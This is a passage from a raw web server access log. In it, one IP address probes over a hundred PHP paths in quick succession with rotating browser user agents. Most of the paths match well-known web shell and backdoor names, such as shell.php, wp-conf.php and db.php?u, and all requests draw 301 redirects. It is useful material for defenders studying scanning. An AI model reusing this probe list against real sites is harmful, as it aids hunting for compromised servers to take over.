HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:03 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:03 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:03 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:03 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:04 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:05 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:05 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:06 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:06 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:06 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:06 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:07 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:07 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:50:07 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:08 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:08 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:08 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:08 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:09 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:10 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:10 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:10 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:11 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:50:11 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:11 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:11 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:12 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:13 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:14 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:14 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:14 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:15 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:15 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:15 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:16 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:16 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:16 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:16 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:50:17 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:17 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:17 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:17 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:50:17 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:18 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:18 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:18 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:18 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:18 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:19 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:19 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:50:19 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:19 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:20 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:20 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:20 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:21 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:21 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:21 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:50:21 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:22 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:22 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:22 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:22 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:50:22 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:23 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:23 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:23 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:23 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:24 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:24 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:24 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:24 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:50:25 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:25 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:25 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:50:26 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:26 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:26 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:26 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:50:27 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:27 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:27 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:27 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:28 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:28 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:28 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:50:29 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:29 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:30 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:30 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:50:30 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:30 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:50:31 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:32 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:50:33 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:33 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:33 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:34 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:34 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:35 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:35 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:35 